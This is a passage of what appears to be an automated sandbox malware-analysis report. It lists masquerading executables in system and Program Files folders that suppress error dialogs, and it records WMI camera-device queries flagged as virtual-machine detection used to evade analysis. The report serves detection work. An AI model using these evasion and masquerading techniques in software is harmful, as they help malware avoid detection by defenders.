Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
